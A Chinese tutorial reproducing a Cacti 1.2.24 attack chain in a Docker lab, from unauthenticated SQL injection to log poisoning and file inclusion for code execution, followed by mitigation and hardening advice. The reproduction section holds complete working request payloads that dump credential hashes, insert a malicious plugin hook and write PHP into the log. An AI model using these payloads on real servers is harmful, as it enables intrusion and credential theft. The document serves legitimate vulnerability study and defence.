Cacti漏洞链复现:从SQL注入到文件包含的完整攻击路径剖析 1. 项目概述一次从SQL注入到本地文件包含的完整攻击链复现最近在复现和研究一些经典的Web应用漏洞时Cacti监控系统在2023年底到2024年初爆出的这个组合漏洞链引起了我的注意。它不是一个孤立的点而是一条从SQL注入CVE-2023-39361开始最终利用本地文件包含CVE-2024-31459实现远程代码执行的完整攻击路径。对于从事渗透测试、安全研究或者运维安全加固的朋友来说理解这种“组合拳”式的漏洞利用方式远比单独复现一个SQL注入或文件包含更有价值。它能让你更深刻地理解攻击者是如何步步为营将看似不严重的漏洞点串联起来最终拿到服务器控制权的。今天我就以Cacti 1.2.24版本为例带大家完整走一遍这个漏洞的复现过程并深入拆解其背后的原理和防御思路。Cacti是一个老牌的网络流量监控和图形化工具基于PHP和MySQL很多企业的IT基础设施里可能还在跑着它。这个漏洞链的核心在于当Cacti启用了“访客Guest”账户功能时攻击者无需任何认证就能通过一个参数注入SQL语句。更“要命”的是Cacti的某些版本支持数据库的“堆叠查询”这让攻击者不仅能窃取数据还能向数据库里插入恶意配置进而触发一个本地文件包含漏洞最终在服务器上执行任意PHP代码。下面我们就从环境搭建开始一步步揭开这个漏洞链的面纱。2. 漏洞环境搭建与前置条件解析复现任何漏洞第一步都是搭建一个“活靶子”。对于Cacti的这个漏洞我们需要一个特定的、存在漏洞的版本并且要正确配置其运行环境。2.1 环境选择与快速部署最省事的方法就是使用漏洞靶场环境。Vulhub是一个非常优秀的开源漏洞靶场项目它提供了大量预配置的Docker Compose文件能一键拉起漏洞环境。我们这里就采用它提供的Cacti 1.2.24环境。首先确保你的实验机器上已经安装了Docker和Docker Compose。然后找到Vulhub项目中Cacti的目录执行一条命令即可cd /path/to/vulhub/cacti/CVE-2023-39361 docker-compose up -d这条命令会从Docker Hub拉取预置的镜像并启动一个包含MySQL数据库和Cacti应用的完整服务。通常Cacti的Web服务会映射到宿主机的8080端口。启动完成后在浏览器中访问http://你的服务器IP:8080就能看到Cacti的安装引导界面了。注意在真实的内网渗透测试中你遇到的Cacti很可能是在Linux服务器上直接通过LAMPLinuxApacheMySQLPHP环境部署的。用Docker复现是为了效率但原理完全一致。如果你需要在OpenEuler、CentOS等系统上手动搭建LAMP环境并部署Cacti过程会涉及配置固定IP、切换软件源、安装Apache/PHP/MySQL组件、配置数据库、调整SELinux和防火墙策略等一系列步骤耗时较长。对于漏洞复现学习而言Docker环境是最佳选择。2.2 关键漏洞触发条件启用Guest用户这个漏洞链有一个非常关键的前置条件Cacti必须启用了“Guest”用户功能。很多公开的漏洞描述可能一笔带过但这里恰恰是第一个容易“踩坑”的地方。如果Guest用户未启用未授权的SQL注入是无法触发的。那么如何启用它呢环境启动后我们需要先完成Cacti的初始化安装。访问Web界面使用默认账号admin和密码admin登录。跟随安装向导基本上就是一路点击“Next”直到完成。这个过程会初始化数据库表结构。安装完成后以管理员身份重新登录进入Configuration-Authentication页面。在这里你会看到关于“Guest”用户的配置选项。务必将其启用Enable。这个步骤模拟了某些管理员为了“方便”内部人员查看监控图表而开启的权限却无意中打开了潘多拉魔盒。从安全角度看除非绝对必要否则任何面向公众或存在风险的环境都不应启用Guest账户。3. 漏洞原理深度剖析从参数注入到代码执行在动手复现之前我们必须搞清楚攻击者到底利用了程序的哪些逻辑缺陷。一知半解地跑通POC概念验证代码意义不大理解原理才能举一反三。3.1 漏洞入口graph_view.php与rfilter参数漏洞的起点在graph_view.php这个文件。它的一个主要功能是处理树状视图的展示。其中有一个grow_right_pane_tree函数当通过URL参数actiontree_content调用它时它会处理另一个参数rfilter。rfilter的本意是“正则过滤器”regex filter用于对树形结构的数据进行筛选。问题出在程序虽然对用户输入的rfilter值做了校验但校验逻辑存在严重缺陷。它只使用了html_validate_tree_vars函数来检查输入是否是一个“合法的正则表达式字符串”。这里就是第一个安全盲点校验输入是否是合法的正则表达式和校验输入是否可以被安全地拼接进SQL语句是两件完全不同的事。攻击者完全可以构造一个字符串它既符合正则表达式的语法又包含了恶意的SQL代码。3.2 核心漏洞SQL注入CVE-2023-39361由于对rfilter参数的过滤不严攻击者提交的数据被直接拼接进了SQL查询语句中。这就构成了一个典型的SQL注入漏洞。假设正常的SQL语句是SELECT * FROM some_table WHERE name REGEXP ‘用户输入的rfilter值’攻击者可以输入aaaaaaa OR 这样的值。经过拼接后SQL语句变成了SELECT * FROM some_table WHERE name REGEXP ‘aaaaaaa OR ’在某些数据库和查询构造逻辑下这可能导致WHERE条件永远为真从而泄露所有数据。但攻击者显然不满足于此。3.3 漏洞升级堆叠查询与二次注入Cacti使用的数据库扩展如某些版本的PDO或mysqli在特定配置下支持“堆叠查询”。这意味着攻击者可以在一次数据库调用中执行多条由分号分隔的SQL语句。这直接将漏洞的危险等级从“数据泄露”提升到了“数据篡改”和“系统攻击”。攻击者不再局限于SELECT查询他可以执行INSERT、UPDATE甚至DROP语句。这就为下一个漏洞——本地文件包含LFI——铺平了道路。3.4 致命一击本地文件包含CVE-2024-31459Cacti有一个插件机制相关配置信息存储在plugin_hooks等数据库表中。其中file字段用于指定插件钩子触发时要包含include的PHP文件路径。攻击者利用堆叠查询可以向plugin_hooks表插入一条恶意记录。例如将file字段的值设置为../log/cacti.log。这里用到了目录遍历../指向了Cacti自身的日志文件。接下来攻击者需要向这个日志文件“注入”PHP代码。他可以利用SQL注入中的报错回显功能。通过updatexml()、extractvalue()等能触发数据库报错的函数将一段PHP代码如?php phpinfo();?作为报错信息的一部分写入查询结果。如果这个结果被记录到了cacti.log文件中那么这个日志文件就变成了一个存储着PHP代码的文本文件。最后当Cacti的某个流程如登录前的钩子login_before触发去加载plugin_hooks表中我们插入的那条记录时它会尝试去include../log/cacti.log这个文件。PHP引擎会执行该文件中被写入的?php phpinfo();?代码从而造成远程代码执行RCE。简单总结一下攻击链利用未授权访问和rfilter参数校验不严实施SQL注入。利用数据库堆叠查询特性向插件钩子表插入一条恶意记录指向一个可写的日志文件。再次利用SQL注入通过报错回显将PHP代码写入该日志文件。等待或触发插件钩子执行导致日志文件被包含其中的PHP代码被执行。4. 漏洞复现实操全流程记录理解了原理我们开始动手复现。请确保你的靶场环境Cacti 1.2.24已经启动并且Guest用户已启用。4.1 第一步验证SQL注入点我们首先验证最基础的SQL注入漏洞是否存在。使用浏览器、curl命令或者Burp Suite等工具发送以下HTTP请求GET /graph_view.php?actiontree_contentnode1-1-tree_anchorrfilteraaaaaaa%20OR%20(())%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23 HTTP/1.1 Host: your-target-ip:8080URL解码后更容易理解/graph_view.php?actiontree_contentnode1-1-tree_anchorrfilteraaaaaaa OR (()) UNION SELECT 1,2,(select concat(id,0x23,username,0x23,password) from user_auth limit 1),4,5,6,(select user()),(select version()),9,10#参数拆解actiontree_content: 触发存在漏洞的函数。node1-1-tree_anchor: 一个合法的树节点参数。rfilter...: 注入的载荷。aaaaaaa OR 这部分用于闭合原SQL语句中的正则表达式字符串并构造一个永真条件。UNION SELECT ...联合查询用于窃取数据。我们在这里查询了user_auth表中的第一条记录将id、username、password字段用#0x23连接后输出。同时还查询了当前数据库用户和版本。发送请求后观察响应。如果漏洞存在你会在返回的HTML页面中可能在某个表格项或JSON数据里看到类似1#admin#$2y$10$...这样的字符串。这就是管理员用户的哈希密码。这说明SQL注入成功并且我们可以读取数据库中的敏感信息。实操心得在实际测试中返回的数据可能夹杂在HTML注释、JSON字符串或表格的某个td标签里。使用Burp Suite的Repeater模块并切换到“Render”视图有时能更直观地看到或者用“Search”功能直接查找#admin#这样的关键字。直接看原始响应可能需要仔细辨认。4.2 第二步利用堆叠查询插入恶意插件钩子确认注入点可利用后我们开始利用堆叠查询向系统“投毒”。发送第二个请求GET /graph_view.php?actiontree_contentnode1-1-tree_anchorrfilteraaaaa%20OR%20(());INSERT%20INTO%20plugin_hooks(name,hook,file,status)%20VALUES%20(.,login_before,../log/cacti.log,1);%23 HTTP/1.1 Host: your-target-ip:8080URL解码后/graph_view.php?actiontree_contentnode1-1-tree_anchorrfilteraaaaa OR (());INSERT INTO plugin_hooks(name,hook,file,status) VALUES (.,login_before,../log/cacti.log,1);#载荷解析aaaaa OR (())同样是闭合原SQL语句构造永真条件。;分号用于结束前一条可能是虚拟的语句开始堆叠查询。INSERT INTO plugin_hooks ...插入一条记录到plugin_hooks表。name可以随意这里用了点号。hook设置为login_before。这是一个Cacti系统在用户登录前会触发的钩子名称确保我们的恶意文件能被包含。file这是关键。设置为../log/cacti.log。这意味着当login_before钩子触发时系统会尝试包含上一层目录下的log/cacti.log文件。status设置为1启用。执行这个请求后正常情况下页面可能只返回一个常规响应或轻微的错误但INSERT语句应该已经执行成功。你可以通过后续的步骤来验证。4.3 第三步向日志文件写入PHP代码现在我们需要让Cacti的日志文件里包含可执行的PHP代码。我们再次利用SQL注入这次使用能触发数据库报错并将我们想要的内容回显出来的函数。发送第三个请求GET /graph_view.php?actiontree_contentnode1-1-tree_anchorrfilteraaaaa%20OR%20(())%20UNION%20SELECT%201,2,3,4,5,6,updatexml(rand(),concat(0x7e,?php%20phpinfo();?,0x7e),null),8,9,10%23 HTTP/1.1 Host: your-target-ip:8080URL解码后/graph_view.php?actiontree_contentnode1-1-tree_anchorrfilteraaaaa OR (()) UNION SELECT 1,2,3,4,5,6,updatexml(rand(),concat(0x7e,?php phpinfo();?,0x7e),null),8,9,10#载荷解析使用了updatexml()这个MySQL的XML函数。它的第二个参数需要是合法的XPath格式而我们通过concat(0x7e,?php phpinfo();?,0x7e)构造了一个包含波浪号(~)和PHP代码的非法字符串。当updatexml()执行时会因为XPath格式错误而报错并将这个非法字符串作为报错信息的一部分返回。如果Cacti的应用程序配置了将错误或调试信息写入cacti.log那么这段包含?php phpinfo();?的报错信息就会被记录到日志文件中。注意事项这一步的成功与否取决于Cacti的日志配置级别。默认情况下Cacti可能会记录SQL错误。为了增加成功率有时攻击者会尝试触发其他类型的错误或者重复执行多次以确保代码被写入。你也可以尝试使用extractvalue()函数原理类似。4.4 第四步触发文件包含执行代码恶意钩子已插入PHP代码也已可能写入日志。现在只需要触发login_before这个钩子即可。最直接的方式就是访问Cacti的登录页面。在浏览器中访问http://your-target-ip:8080/index.php。注意是index.php不是之前的graph_view.php。如果一切顺利你看到的将不是正常的登录框而是满屏的PHP配置信息——phpinfo()函数的输出页面。这说明本地文件包含漏洞成功触发服务器执行了log/cacti.log文件中的PHP代码。恭喜你已经完成了从SQL注入到远程代码执行的完整攻击链复现5. 复现过程中的疑难排查与深度思考复现过程很少一帆风顺尤其是在这种多步骤的漏洞链中。下面是我在多次复现中总结的一些常见问题和排查技巧。5.1 常见问题速查表问题现象可能原因排查与解决思路第一步SQL注入无回显1. Guest用户未启用。2. 注入Payload构造有误如闭合符号不对。3. 目标Cacti版本不对。1.务必以admin登录在Configuration-Authentication中确认启用Guest。2. 检查Payload中的引号闭合。原SQL可能用单引号‘尝试将Payload中的双引号改为‘。3. 确认环境是1.2.24或受影响的版本。第二步插入钩子后访问登录页无反应1. INSERT语句执行失败如插件表名、字段名不对。2.login_before钩子不存在或触发时机不对。3. 日志文件路径../log/cacti.log错误。1. 尝试直接连接MySQL数据库查看plugin_hooks表结构调整INSERT语句。2. 搜索Cacti源码查找其他更通用的钩子名如api_plugin_hook。3. 确认Cacti的安装目录结构。log目录通常与include目录同级。可以尝试../../log/cacti.log或绝对路径如果知道。第三步无法写入PHP代码1. SQL报错信息未记录到日志。2.updatexml函数被过滤或不可用。3. 写入的代码被日志系统转义或截断。1. 检查Cacti的Settings-General-Log Settings确保日志级别包含DEBUG或SQL。2. 尝试使用extractvalue()函数作为替代extractvalue(1, concat(0x7e, ‘?php phpinfo();?’))。3. 尝试写入更简短的PHP代码如?whoami?短标签执行系统命令。访问登录页出现空白页或错误但无phpinfo1. 日志文件中确实写入了PHP代码但包含时出错如语法错误。2. PHP的short_open_tag设置关闭而使用了?短标签。3. 文件包含成功但phpinfo()函数被禁用。1. 直接查看cacti.log文件内容如果有权限确认写入的代码格式是否正确。2. 使用完整的?php ?标签。3. 尝试执行其他函数如echo “test”;或system(‘id’);来验证代码执行。5.2 深度思考与防御建议复现漏洞不是为了攻击而是为了更有效地防御。通过这个案例我们可以学到以下几点漏洞的连锁效应一个“中危”的SQL注入在“堆叠查询”和“插件机制”的加持下变成了“高危”的RCE。安全评估时绝不能孤立地看单个漏洞。默认安全配置Cacti默认禁用Guest用户是明智的。任何不必要的功能尤其是涉及权限的都应默认关闭。输入校验的彻底性rfilter参数只校验正则表达式合法性是远远不够的。对于要放入SQL语句的数据必须使用参数化查询预编译语句这是防止SQL注入的唯一根本方法。最小权限原则Web应用连接数据库的账户不应拥有INSERT、DROP等高级权限仅赋予SELECT必要数据的权限可以极大限制堆叠查询造成的破坏。日志安全应用程序日志不应存放在Web目录下或应确保其不可被Web服务器执行。可以通过配置Web服务器如Apache的Files指令或Nginx的location规则禁止对.log等文件的直接访问和执行。插件/钩子机制的安全对插件加载的文件路径进行严格的校验禁止包含Web目录以外的文件或包含带有路径遍历../的文件。对于企业而言及时的补丁管理至关重要。Cacti官方早已发布了修复版本。最直接的防御措施就是立即升级到最新安全版本。同时定期进行源代码安全审计或使用专业的SCA软件成分分析工具有助于发现此类深层逻辑漏洞。6. 漏洞修复与安全加固实操指南仅仅知道漏洞原理还不够作为一个负责任的运维或安全人员我们需要知道如何修复和加固。这里提供从紧急临时处置到彻底修复的完整方案。6.1 临时缓解措施如果因为业务原因无法立即升级可以采取以下临时措施阻断攻击立即禁用Guest用户以管理员身份登录Cacti进入Configuration - Authentication将Guest用户功能禁用。这是阻断未授权攻击的最快方法。Web服务器层拦截在Apache或Nginx配置中添加对graph_view.php文件的访问限制。例如只允许来自内网IP的请求或者对该文件的访问要求强制认证。Nginx示例location ~ /graph_view\.php$ { allow 192.168.1.0/24; # 仅允许内网网段 deny all; # ... 其他php配置 }修改代码临时过滤编辑graph_view.php文件在处理rfilter参数的位置增加严格的过滤。例如在调用html_validate_tree_vars之后对返回值进行额外的检查禁止其中包含空格、引号、分号、注释符等SQL元字符。注意这是一种临时补丁可能引入其他问题仅作为应急手段。6.2 根本解决方案升级与安全开发官方升级访问Cacti官方网站或GitHub仓库下载并升级到已修复该漏洞的版本。对于CVE-2023-39361和CVE-2024-31459确保升级到1.2.25及以上版本。升级前务必做好数据和配置的备份。代码层修复查看官方修复提交学习正确的修复方式。通常包括使用参数化查询将graph_view.php中构建SQL语句的地方从字符串拼接改为使用PDO或MySQLi的参数化查询预处理语句。这是根治SQL注入的唯一方法。移除或严格限制堆叠查询在数据库连接配置中禁用支持多语句查询的选项如PDO::MYSQL_ATTR_MULTI_STATEMENTS false。插件路径校验在包含插件文件前对file字段的路径进行标准化和严格校验确保其位于合法的插件目录内禁止目录遍历。6.3 长期安全加固建议架构隔离将数据库服务器与Web应用服务器分离并在数据库前端设置防火墙仅允许Web服务器以最小权限账户访问特定端口。部署WAF在Cacti应用前端部署Web应用防火墙WAF可以有效地拦截利用已知漏洞特征的攻击请求为修复争取时间。定期安全审计对Cacti这样的老旧但核心的系统应定期进行安全扫描和代码审计检查是否引入了新的漏洞或配置错误。监控与告警在服务器和Cacti日志中监控对graph_view.php的异常访问、大量的SQL错误日志以及plugin_hooks表的异常插入操作并设置告警。这个漏洞链的复现过程像一次完整的安全事件演练。它清晰地展示了一个边缘功能的微小疏漏如何通过系统内部组件的联动最终演变成一场灾难。对于防守方而言思路必须从“堵住一个点”转变为“构建一个纵深防御体系”从网络、主机、应用、代码多个层面设立关卡才能有效应对如今越来越复杂的攻击手段。